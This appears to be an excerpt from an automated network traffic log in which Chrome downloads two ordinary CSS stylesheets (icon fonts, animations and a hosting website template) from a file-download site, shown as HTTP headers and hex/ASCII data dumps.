2024-06-15 09:15:00 UTC	711	OUT	GET /slake/asset/css/elements.css?1 HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	379	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 14:32:01 GMT Content-Type: text/css Content-Length: 195562 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-2fbea" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 585779 DDG-Cache-Status: HIT
2024-06-15 09:15:00 UTC	16005	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 2e 70 72 65 6c 6f 64 65 72 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 72 6f 74 61 74 69 6f 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 72 6f 74 61 74 69 6f 6e 20 31 73 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0d 0a 20 20 20 20 6c 65 66 Data Ascii: @charset "UTF-8";.preloder { position: absolute; width: 50px; height: 50px; border-radius: 15px; -webkit-animation: rotation 1s infinite; animation: rotation 1s infinite; z-index: 9; top: 50%; lef
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 79 3a 20 30 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 31 30 70 78 29 3b 0d Data Ascii: y: 0; -webkit-transform: translateX(2000px); transform: translateX(2000px); } 60% { opacity: 1; -webkit-transform: translateX(-30px); transform: translateX(-30px); } 80% { -webkit-transform: translateX(10px);
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 31 30 30 25 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 30 30 70 78 29 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 3b 0d 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 4f 75 74 52 69 67 68 74 42 69 67 3b 0d 0a Data Ascii: 100% { opacity: 0; -webkit-transform: translateX(2000px); -ms-transform: translateX(2000px); transform: translateX(2000px); }}.fadeOutRightBig { -webkit-animation-name: fadeOutRightBig; animation-name: fadeOutRightBig;
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 74 65 28 30 29 3b 0d 0a 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 29 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2e 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 3b 0d 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 49 6e 55 70 52 69 67 68 74 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 Data Ascii: te(0); -ms-transform: rotate(0); transform: rotate(0); opacity: 1; }}.rotateInUpLeft { -webkit-animation-name: rotateInUpLeft; animation-name: rotateInUpLeft;}@-webkit-keyframes rotateInUpRight { 0% { -webkit-tr
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 20 2d 32 2e 31 34 32 38 35 37 31 34 65 6d 3b 0d 0a 20 20 77 69 64 74 68 3a 20 32 2e 31 34 32 38 35 37 31 34 65 6d 3b 0d 0a 20 20 74 6f 70 3a 20 30 2e 31 34 32 38 35 37 31 34 65 6d 3b 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6c 69 2e 66 61 2d 6c 67 20 7b 0d 0a 20 20 6c 65 66 74 3a 20 2d 31 2e 38 35 37 31 34 32 38 36 65 6d 3b 0d 0a 7d 0d 0a 2e 66 61 2d 62 6f 72 64 65 72 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 32 35 65 6d 20 2e 31 35 65 6d 3b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 30 2e 30 38 65 6d 20 23 65 65 65 65 65 65 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 31 65 6d 3b 0d 0a 7d 0d 0a 2e 66 61 2d 70 75 6c 6c 2d 6c 65 66 74 20 7b 0d 0a 20 20 Data Ascii: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center;}.fa-li.fa-lg { left: -1.85714286em;}.fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em;}.fa-pull-left {
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 31 32 63 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 65 72 61 73 65 72 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 64 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 70 75 7a 7a 6c 65 2d 70 69 65 63 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 32 65 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 30 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 31 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 73 68 69 65 6c 64 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 32 22 3b 0d 0a 7d 0d 0a Data Ascii: 12c";}.fa-eraser:before { content: "\f12d";}.fa-puzzle-piece:before { content: "\f12e";}.fa-microphone:before { content: "\f130";}.fa-microphone-slash:before { content: "\f131";}.fa-shield:before { content: "\f132";}
2024-06-15 09:15:00 UTC	8858	IN	Data Raw: 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 63 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 76 69 6d 65 6f 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 64 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 62 6c 61 63 6b 2d 74 69 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 37 65 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 66 6f 6e 74 69 63 6f 6e 73 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 30 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 72 65 64 64 69 74 2d 61 6c 69 65 6e 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 31 22 3b 0d 0a 7d 0d 0a 2e 66 61 2d 65 64 67 65 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 38 32 22 3b 0d 0a Data Ascii: content: "\f27c";}.fa-vimeo:before { content: "\f27d";}.fa-black-tie:before { content: "\f27e";}.fa-fonticons:before { content: "\f280";}.fa-reddit-alien:before { content: "\f281";}.fa-edge:before { content: "\f282";
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 33 38 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 66 6f 6c 64 65 72 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 33 39 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 66 6c 61 67 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 Data Ascii: ession(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-folder { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-flag { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 64 36 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 73 6c 69 63 65 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 64 37 3b 27 29 3b 0d 0a 7d 0d 0a 2e 74 69 2d 73 68 6f 72 74 63 6f 64 65 20 7b 0d 0a 20 20 2a 7a 6f 6f 6d 3a 20 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 72 75 6e 74 69 6d 65 53 74 79 6c 65 5b 27 7a 6f 6f 6d 27 5d 20 3d 20 27 31 27 2c 20 74 68 69 73 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 26 23 78 65 36 64 38 3b 27 29 3b Data Ascii: eStyle['zoom'] = '1', this.innerHTML = '');}.ti-slice { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}.ti-shortcode { zoom: expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = '');
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 20 7d 0d 0a 20 20 2e 6e 69 63 65 2d 73 65 6c 65 63 74 2e 64 69 73 61 62 6c 65 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 65 64 65 64 65 64 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 39 39 39 3b 0d 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 20 20 20 20 2e 6e 69 63 65 2d 73 65 6c 65 63 74 2e 64 69 73 61 62 6c 65 64 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 63 63 63 63 63 63 3b 20 7d 0d 0a 20 20 2e 6e 69 63 65 2d 73 65 6c 65 63 74 2e 77 69 64 65 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 2e 6e 69 63 65 2d 73 65 6c 65 63 74 2e 77 69 64 65 Data Ascii: (1) translateY(0); } .nice-select.disabled { border-color: #ededed; color: #999; pointer-events: none; } .nice-select.disabled:after { border-color: #cccccc; } .nice-select.wide { width: 100%; } .nice-select.wide

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49805	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	702	OUT	GET /slake/style.css?ver=6 HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	379	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 14:32:57 GMT Content-Type: text/css Content-Length: 173385 Last-Modified: Fri, 18 Dec 2020 20:37:06 GMT Vary: Accept-Encoding ETag: "5fdd12f2-2a549" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 585723 DDG-Cache-Status: HIT
2024-06-15 09:15:00 UTC	16005	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 65 6d 70 6c 61 74 65 20 4e 61 6d 65 3a 20 53 6c 61 6b 65 0a 54 65 6d 70 6c 61 74 65 20 55 52 49 3a 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 48 6f 73 74 69 6e 67 20 48 54 4d 4c 35 20 54 65 6d 70 6c 61 74 65 0a 41 75 74 68 6f 72 3a 0a 41 75 74 68 6f 72 20 55 52 49 3a 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 0a 23 23 43 53 53 20 54 41 42 4c 45 20 4f 46 20 43 4f 4e 54 45 4e 54 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: /* ============================================Template Name: SlakeTemplate URI:Description: Hosting HTML5 TemplateAuthor:Author URI:Version: 1.0===================================================##CSS TABLE OF CONTENT---------------------------
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 61 6c 74 65 72 6e 61 74 65 3b 0a 7d 0a 0a 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 75 70 64 20 7b 0a 0a 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 33 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 0a 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 25 0a 20 20 20 20 20 20 20 20 7d 0a 7d 0a 0a 40 6b 65 79 66 72 61 6d 65 73 20 75 70 64 20 7b 0a 0a 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 33 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 0a 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 25 0a 20 20 20 20 20 20 20 20 7d 0a 7d 0a 0a 0a 0a 0a 2e 73 69 6e 67 6c 65 2d 73 6c 69 64 65 72 2d 69 74 65 6d 20 2e Data Ascii: tion-direction: alternate;}@-webkit-keyframes upd { 0% { top: 3%; } 100% { top: 5% }}@keyframes upd { 0% { top: 3%; } 100% { top: 5% }}.single-slider-item .
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 33 20 2e 68 6f 6d 65 70 61 67 65 2d 34 20 2e 68 65 61 64 65 72 2d 74 6f 70 2d 61 72 65 61 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 61 34 33 36 38 3b 0a 7d 0a 0a 23 68 6f 6d 65 70 61 67 65 2d 33 20 2e 66 75 6c 6c 2d 73 6c 69 64 65 72 2e 68 6f 6d 65 70 61 67 65 2d 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 2f 73 6c 61 6b 65 2f 61 73 73 65 74 2f 69 6d 67 2f 62 67 2f 68 6f 6d 65 70 61 67 65 2d 34 2d 62 67 2e 70 6e 67 22 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 74 6f 70 20 72 69 67 68 74 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 61 75 74 6f 3b 0a 7d 0a 23 68 6f 6d 65 70 61 67 65 2d 33 20 2e 66 75 6c 6c 2d 73 6c 69 64 65 Data Ascii: 3 .homepage-4 .header-top-area { background: #3a4368;}#homepage-3 .full-slider.homepage-4 { background-image: url("/slake/asset/img/bg/homepage-4-bg.png"); background-position: top right; background-size: auto;}#homepage-3 .full-slide
2024-06-15 09:15:00 UTC	16018	IN	Data Raw: 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 30 29 22 3b 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 31 30 30 25 0a 20 20 20 20 7d 0a 7d 0a 0a 2e 63 6c 6f 75 64 73 20 69 6d 67 2e 63 6c 6f 75 64 33 20 7b 0a 20 20 20 20 74 6f 70 3a 20 32 31 35 70 78 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 63 6c 6f 75 64 33 20 34 35 73 20 6c 69 6e 65 61 72 20 31 31 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 63 6c 6f 75 64 33 20 34 35 73 20 6c 69 6e 65 61 72 20 31 31 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 Data Ascii: pacity: 0; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; right: 100% }}.clouds img.cloud3 { top: 215px; -webkit-animation: cloud3 45s linear 11s infinite; animation: cloud3 45s linear 11s infinite;
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 2e 68 6f 6d 65 70 61 67 65 2d 32 20 2e 64 6f 6d 61 69 6e 2d 63 68 65 63 6b 75 70 2d 6c 65 66 74 20 64 69 76 2e 6e 69 63 65 2d 73 65 6c 65 63 74 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 38 30 70 78 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 30 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 32 30 70 78 3b 0a 7d 0a 2e 68 6f 6d 65 70 61 67 65 2d 32 20 2e 64 6f 6d 61 69 6e 2d 63 68 65 63 6b 75 70 2d 6c 65 66 74 20 2e 63 75 72 72 65 6e 74 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 2d 32 32 70 78 3b 0a 20 20 20 20 77 69 64 74 Data Ascii: : transparent;}.homepage-2 .domain-checkup-left div.nice-select { width: 80px; position: absolute; right: 0px; top: 20px;}.homepage-2 .domain-checkup-left .current:after { position: absolute; top: 2px; left: -22px; widt
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 66 65 61 74 75 72 65 2d 74 77 6f 2d 61 72 65 61 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 44 46 34 46 44 3b 0a 7d 0a 2e 66 65 61 74 75 72 65 2d 74 77 6f 2d 6c 65 66 74 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 32 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 31 35 70 78 3b 0a 7d 0a 2e 66 65 61 74 75 72 65 2d 74 77 6f 2d 72 69 67 68 74 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 31 35 70 78 20 30 3b 0a 7d 0a 0a 2e 66 65 61 74 75 72 65 2d 74 77 6f 2d 72 69 67 68 74 20 2e 70 72 69 63 69 6e 67 2d 61 6d 6f 75 6e 74 20 7b 0a 20 20 20 20 62 6f 72 64 65 Data Ascii: ----------------------------------*/.feature-two-area { background-color: #EDF4FD;}.feature-two-left { padding-top: 120px; padding-bottom: 115px;}.feature-two-right { padding: 115px 0;}.feature-two-right .pricing-amount { borde
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 62 6f 74 6f 6d 20 70 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 33 62 30 64 37 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 7d 0a 0a 2e 66 6f 74 65 72 2d 62 6f 74 6f 6d 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 33 62 30 64 37 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 33 70 78 3b 0a 7d 0a 0a 2e 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 2e 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 61 7b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6f 63 Data Ascii: botom p { color: #a3b0d7; font-size: 14px; font-weight: 500; margin-top: 10px;}.foter-botom p a { color: #a3b0d7; padding: 0 3px;}.social-links { display: inline-block;}.social-links a{ text-decoration: none;}.soc
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 32 33 70 78 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 33 37 33 63 39 3b 0a 7d 0a 2e 62 65 65 66 75 70 2e 69 73 2d 6f 70 65 6e 20 2e 62 65 65 66 75 70 5f 5f 68 65 61 64 20 20 73 70 61 6e 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 7d 0a 2e 62 65 65 66 75 70 5f 5f 68 65 61 64 3a 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 30 70 78 20 30 70 78 20 30 3b 0a 20 20 Data Ascii: ight: 15px; top: 23px; color: #6373c9;}.beefup.is-open .beefup__head span { -webkit-transform: rotate(180deg); transform: rotate(180deg); color: #fff;}.beefup__head::after { border-style: solid; border-width: 0px 0px 0;
